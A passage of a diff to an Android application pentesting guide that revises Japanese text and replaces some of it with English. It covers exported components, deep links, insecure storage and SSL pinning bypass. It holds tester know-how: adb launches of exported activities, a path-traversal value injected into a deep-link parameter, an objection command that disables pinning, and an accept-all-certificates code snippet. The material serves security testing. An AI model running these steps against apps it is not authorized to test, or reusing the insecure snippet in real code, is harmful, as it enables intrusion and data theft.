公開されたコンテンツプロバイダーは、不正アクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。 - **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特にURLスキームが入力脆弱性に対してどのように管理されているかに注意を払う必要があります。 -- **SDKバージョン**: `minSdkVersion`、`targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。 +- **SDKバージョン**: `minSdkVersion`、`targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調しています。 **strings.xml**ファイルからは、APIキー、カスタムスキーマ、およびその他の開発者ノートなどの機密情報が発見される可能性があり、これらのリソースを注意深く確認する必要があります。 ### タップジャッキング -**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれに対話させるように設計されており、同時にその対話を被害者アプリに渡します。\ -実際には、**ユーザーが被害者アプリで実際にアクションを実行していることを知らないようにしています**。 +**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれに対話させるように設計されており、実際には被害者アプリに対する操作を渡しています。\ +実際には、**ユーザーが被害者アプリで実際に操作を行っていることを知らないようにしています**。 詳細情報は以下を参照してください: @@ -87,7 +87,7 @@ tapjacking.md ### タスクハイジャック -**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**悪意のあるアプリケーションと対話していると思っている**)。 +**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**悪意のあるアプリケーションを使用していると思い込んでいる**)。 詳細情報は以下を参照してください: @@ -102,9 +102,9 @@ android-task-hijacking.md Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。 1. **静的分析:** -- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。 +- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く精査されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。 2. **動的分析:** -- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているかどうかを確認**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。 +- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているかどうかを**確認します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。 **外部ストレージ** @@ -118,7 +118,7 @@ Androidでは、**内部**ストレージに**保存された**ファイルは 3. **外部ストレージからのデータ処理**: - 外部ストレージから取得したデータに対しては常に**入力検証を行う**必要があります。これは、データが信頼できないソースからのものであるため、重要です。 - 外部ストレージに実行可能ファイルやクラスファイルを保存して動的に読み込むことは強く推奨されません。 -- アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認**してから動的に読み込む必要があります。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。 +- アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認してください**。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。 外部ストレージは、`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`で**アクセス可能**です。 @@ -134,75 +134,75 @@ Androidでは、**内部**ストレージに**保存された**ファイルは **すべての証明書を受け入れる** -何らかの理由で、開発者がホスト名がコードの行と一致しない場合でも、すべての証明書を受け入れることがあります。 +何らかの理由で、開発者がホスト名が一致しない場合でも、すべての証明書を受け入れることがあります。以下のようなコード行が含まれます: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -良いテスト方法は、デバイス内でBurp CAを承認せずにBurpのようなプロキシを使用してトラフィックをキャプチャしようとすることです。また、Burpを使用して異なるホスト名の証明書を生成し、それを使用することもできます。 +A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. -### 壊れた暗号化 +### Broken Cryptography -**不適切なキー管理プロセス** +**Poor Key Management Processes** -一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があるため、行うべきではありません。 +一部の開発者は、ローカルストレージに機密データを保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があるため、行うべきではありません。 -**安全でないおよび/または廃止されたアルゴリズムの使用** +**Use of Insecure and/or Deprecated Algorithms** -開発者は、認証**チェック**、**保存**、または**送信**データを行うために**廃止されたアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。たとえば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。 +開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**を使用する場合、ソルトを使用したハッシュのブルートフォース耐性が必要です。 -### その他のチェック +### Other checks -- 攻撃者のリバースエンジニアリング作業を困難にするために、**APKを難読化する**ことを推奨します。 -- アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、結果に応じて行動する必要があります。 -- アプリが機密性が高い場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。 +- APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。 +- アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。 +- アプリが機密性が高い場合(銀行アプリなど)、**エミュレーターが使用されているかどうかを確認**する必要があります。 - アプリが機密性が高い場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。 - [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。 -### React Nativeアプリケーション +### React Native Application -ReactアプリケーションのJavaScriptコードに簡単にアクセスする方法については、以下のページをお読みください: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} react-native-application.md {{#endref}} -### Xamarinアプリケーション +### Xamarin Applications -XamarinアプリケーションのC#コードに簡単にアクセスする方法については、以下のページをお読みください: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} ../xamarin-apps.md {{#endref}} -### スーパー圧縮アプリケーション +### Superpacked Applications -この[**ブログ記事**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)によると、スーパー圧縮はアプリケーションの内容を単一のファイルに圧縮するメタアルゴリズムです。このブログでは、これらのアプリを解凍するアプリを作成する可能性について話しています... そして、**アプリケーションを実行してファイルシステムから解凍されたファイルを収集する**というより速い方法についても言及しています。 +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** -### 自動静的コード分析 +### Automated Static Code Analysis -ツール[**mariana-trench**](https://github.com/facebook/mariana-trench)は、アプリケーションの**コード**を**スキャン**することによって**脆弱性**を見つけることができます。このツールには、**ユーザーによって制御される**入力の**場所**を示す一連の**既知のソース**、悪意のあるユーザー入力が損害を引き起こす可能性のある**危険な****場所**を示す**シンク**、および**ルール**が含まれています。これらのルールは、脆弱性を示す**ソース-シンク**の**組み合わせ**を示します。 +The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. -この知識をもとに、**mariana-trenchはコードをレビューし、可能な脆弱性を見つけます**。 +With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. -### 漏洩した秘密 +### Secrets leaked -アプリケーションには、あなたが発見できるかもしれない秘密(APIキー、パスワード、隠されたURL、サブドメインなど)が含まれている可能性があります。ツール[https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)を使用できます。 +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) -### 生体認証のバイパス +### Bypass Biometric Authentication {{#ref}} bypass-biometric-authentication-android.md {{#endref}} -### その他の興味深い機能 +### Other interesting functions -- **コード実行**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **SMS送信**: `sendTextMessage, sendMultipartTestMessage` -- **ネイティブ関数**として宣言された`native`: `public native, System.loadLibrary, System.load` -- [ネイティブ関数を**リバースエンジニアリングする方法**を学ぶにはこちらをお読みください](reversing-native-libraries.md) +- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` +- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` +- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) -### **その他のトリック** +### **Other tricks** {{#ref}} content-protocol.md @@ -212,120 +212,120 @@ content-protocol.md --- -## 動的分析 +## Dynamic Analysis -> まず、アプリケーションとすべての環境(主にBurp CA証明書、Drozer、Frida)をインストールできる環境が必要です。したがって、ルート化されたデバイス(エミュレートされたかどうかにかかわらず)が非常に推奨されます。 +> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. -### オンライン動的分析 +### Online Dynamic analysis -[https://appetize.io/](https://appetize.io)で**無料アカウント**を作成できます。このプラットフォームでは、APKを**アップロード**して**実行**できるため、APKの動作を確認するのに便利です。 +You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. -アプリケーションの**ログをウェブで確認**し、**adb**を介して接続することもできます。 +You can even **see the logs of your application** in the web and connect through **adb**. ![](<../../images/image (831).png>) -ADB接続のおかげで、エミュレーター内で**Drozer**と**Frida**を使用できます。 +Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. -### ローカル動的分析 +### Local Dynamic Analysis -#### エミュレーターを使用する +#### Using an emulator -- [**Android Studio**](https://developer.android.com/studio)(**x86**および**arm**デバイスを作成でき、[**これ**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新のx86**バージョンは**ARMライブラリ**をサポートしています。遅いarmエミュレーターは必要ありません)。 -- このページで設定方法を学びます: +- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). +- Learn to set it up in this page: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:** Personal Edition、アカウントを作成する必要があります。_潜在的なエラーを避けるために、**VirtualBox**を含むバージョンを**ダウンロード**することを推奨します。_) -- [**Nox**](https://es.bignox.com)(無料ですが、FridaやDrozerはサポートしていません)。 +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) +- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). > [!NOTE] -> 新しいエミュレーターを作成する際は、画面が大きいほどエミュレーターの動作が遅くなることを覚えておいてください。可能であれば、小さい画面を選択してください。 +> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. -GenymotionにGoogleサービス(AppStoreなど)をインストールするには、以下の画像の赤でマークされたボタンをクリックする必要があります: +To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: ![](<../../images/image (277).png>) -また、Genymotionの**Android VMの設定**で**ブリッジネットワークモード**を選択できることに注意してください(これは、ツールを使用して異なるVMからAndroid VMに接続する場合に便利です)。 +Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). -#### 物理デバイスを使用する +#### Use a physical device -**デバッグ**オプションを有効にする必要があり、**ルート化**できると良いでしょう: +You need to activate the **debugging** options and it will be cool if you can **root** it: -1. **設定**。 -2. (Android 8.0以降) **システム**を選択。 -3. **電話について**を選択。 -4. **ビルド番号**を7回押します。 -5. 戻ると、**開発者オプション**が表示されます。 +1. **Settings**. +2. (FromAndroid 8.0) Select **System**. +3. Select **About phone**. +4. Press **Build number** 7 times. +5. Go back and you will find the **Developer options**. -> アプリケーションをインストールしたら、最初に行うべきことは、それを試して、何をするのか、どのように機能するのかを調査し、快適に感じることです。\ -> **MobSF動的分析 + pidcat**を使用してこの初期動的分析を実行することをお勧めします。これにより、MobSFが後でレビューできる多くの**興味深い**データを**キャプチャ**しながら、**アプリケーションの動作を学ぶ**ことができます。 +> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ +> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. -### 意図しないデータ漏洩 +### Unintended Data Leakage -**ログ記録** +**Logging** -開発者は、**デバッグ情報**を公開することに注意すべきです。これは、機密データの漏洩につながる可能性があります。アプリケーションのログを監視して機密情報を特定し保護するために、ツール[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は、その使いやすさと可読性から好まれます。 +開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。 > [!WARNING] > **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\ > それでも、**機密情報をログに記録しない**ことを推奨します。 -**コピー/ペーストバッファキャッシュ** +**Copy/Paste Buffer Caching** -Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードに**アクセス**できるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションに対して**コピー/ペースト**機能を無効にすることが重要です。 +Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションでは**コピー/ペースト**機能を無効にすることが重要です。 -**クラッシュログ** +**Crash Logs** -アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特に、アプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信されることを確認してください。 +アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信するようにしてください。 ペンテスターとして、**これらのログを確認することをお勧めします**。 -**第三者に送信される分析データ** +**Analytics Data Sent To 3rd Parties** -アプリケーションは、Google Adsenseのようなサービスを統合することが多く、開発者による不適切な実装により、機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。 +アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、アプリケーションのトラフィックを**インターセプト**し、第三者サービスに送信される機密情報がないか確認することをお勧めします。 -### SQLite DB +### SQLite DBs -ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**および**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報(脆弱性となる可能性があります)を見つけることができるかもしれません。\ -データベースは`/data/data/the.package.name/databases`に位置し、例として`/data/data/com.mwr.example.sieve/databases`のようになります。 +ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は、作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報(脆弱性となる可能性があります)を見つけることができるかもしれません。\ +データベースは`/data/data/the.package.name/databases`に位置し、例えば`/data/data/com.mwr.example.sieve/databases`のようになります。 データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。 `.tables`を使用してテーブルを列挙し、`.schema `を実行してテーブルのカラムを列挙します。 -### Drozer(エクスプロイトアクティビティ、コンテンツプロバイダーおよびサービス) +### Drozer (Exploit Activities, Content Providers and Services) -[Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)から:**Drozer**は、**Androidアプリの役割を引き受け**、他のアプリと対話することを可能にします。これは、インストールされたアプリケーションができることは何でも行うことができ、Androidのプロセス間通信(IPC)メカニズムを利用し、基盤となるオペレーティングシステムと対話することができます。\ -Drozerは、**エクスポートされたアクティビティ、エクスポートされたサービス、およびコンテンツプロバイダーを**エクスプロイトするための便利なツールです。次のセクションで学ぶことになります。 +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ +Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. -### エクスポートされたアクティビティのエクスプロイト +### Exploiting exported Activities -[**Androidアクティビティとは何かをリフレッシュしたい場合は、こちらをお読みください。**](android-applications-basics.md#launcher-activity-and-other-activities)\ -また、アクティビティのコードは**`onCreate`**メソッドから始まることを覚えておいてください。 +[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +Also remember that the code of an activity starts in the **`onCreate`** method. -**認証バイパス** +**Authorisation bypass** -アクティビティがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むアクティビティが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。 +Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むActivityが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。 -[**Drozerを使用してエクスポートされたアクティビティをエクスプロイトする方法を学びます。**](drozer-tutorial/index.html#activities) +[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -adbからエクスポートされたアクティビティを開始することもできます: +You can also start an exported activity from adb: -- パッケージ名はcom.example.demoです -- エクスポートされたアクティビティ名はcom.example.test.MainActivityです +- PackageName is com.example.demo +- Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` **注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン(APIバージョン< 21)でのみ危険なようです。 > [!NOTE] -> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が露出しているかによります。 +> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。 **機密情報の漏洩** -**アクティビティは結果を返すこともできます**。もし、**`setResult`**メソッドを呼び出し、**機密情報を返す**エクスポートされた保護されていないアクティビティを見つけることができれば、機密情報の漏洩があります。 +**アクティビティは結果を返すこともできます**。もし、エクスポートされていて保護されていないアクティビティが**`setResult`**メソッドを呼び出し、**機密情報を返している**場合、機密情報の漏洩があります。 #### タップジャッキング @@ -333,36 +333,36 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### **コンテンツプロバイダーの悪用 - 機密情報へのアクセスと操作** -[**コンテンツプロバイダーについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#content-provider)\ +[**コンテンツプロバイダーについて復習したい場合はこれをお読みください。**](android-applications-basics.md#content-provider)\ コンテンツプロバイダーは基本的に**データを共有する**ために使用されます。アプリに利用可能なコンテンツプロバイダーがある場合、そこから**機密データを抽出**できるかもしれません。また、**SQLインジェクション**や**パストラバーサル**の可能性をテストすることも興味深いです。これらは脆弱である可能性があります。 -[**Drozerを使用してコンテンツプロバイダーを悪用する方法を学びましょう。**](drozer-tutorial/index.html#content-providers) +[**Drozerを使ってコンテンツプロバイダーを悪用する方法を学びましょう。**](drozer-tutorial/index.html#content-providers) ### **サービスの悪用** -[**サービスについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\ +[**サービスについて復習したい場合はこれをお読みください。**](android-applications-basics.md#services)\ サービスのアクションは`onStartCommand`メソッドで開始されることを覚えておいてください。 -サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すことができるものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\ -[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/index.html#services) +サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\ +[**Drozerを使ってサービスを悪用する方法を学びましょう。**](drozer-tutorial/index.html#services) ### **ブロードキャストレシーバーの悪用** -[**ブロードキャストレシーバーについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\ +[**ブロードキャストレシーバーについて復習したい場合はこれをお読みください。**](android-applications-basics.md#broadcast-receivers)\ ブロードキャストレシーバーのアクションは`onReceive`メソッドで開始されることを覚えておいてください。 ブロードキャストレシーバーは特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱性が生じる可能性があります。\ -[**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](#exploiting-broadcast-receivers) +[**Drozerを使ってブロードキャストレシーバーを悪用する方法を学びましょう。**](#exploiting-broadcast-receivers) -### **スキーム/ディープリンクの悪用** +### **スキーム / ディープリンクの悪用** -ディープリンクを手動で探すことができ、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)を使用できます。\ +手動でディープリンクを探すことができ、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)を使用できます。\ **adb**や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` _パッケージ名を**省略する**ことができ、モバイルは自動的にそのリンクを開くべきアプリを呼び出します。_ -```markup +```html Click me @@ -370,7 +370,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的 ``` **実行されるコード** -**アプリで実行されるコード**を見つけるために、ディープリンクによって呼び出されるアクティビティに移動し、関数**`onNewIntent`**を検索します。 +**アプリで実行されるコードを見つけるために**、ディープリンクによって呼び出されるアクティビティに移動し、関数**`onNewIntent`**を検索します。 ![](<../../images/image (436) (1) (1) (1).png>) @@ -381,7 +381,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的 **パス内のパラメータ** **URLのパス内でパラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパスのトラバーサルを強制することができます。\ -アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)、およびその他の脆弱性を引き起こす可能性があります。詳細については[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。 +アプリケーション内で正しいエンドポイントを見つけると、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)、およびその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。 **さらなる例** @@ -395,7 +395,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的 #### 証明書の検証 -**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすため、重要です。サーバー証明書の検証と脆弱性への対処に関する詳細な手順については、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)が包括的なガイダンスを提供します。 +**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすため、重要です。サーバー証明書の検証と脆弱性への対処に関する詳細な手順は、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)で包括的に説明されています。 #### SSLピンニング @@ -403,18 +403,18 @@ SSLピンニングは、アプリケーションがサーバーの証明書を #### トラフィックの検査 -HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**(例:Burp)。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドについては、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。 +HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**(例:Burp)。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。 -**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示については、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください。 +**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示は、[**このチュートリアルを参照してください**](make-apk-accept-ca-certificate.md)。 #### SSLピンニングのバイパス SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります: - 自動的に**apkを修正**して**SSLピンニングをバイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。 -- **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- **objection**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- **MobSF動的分析**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます(以下で説明)。 +- 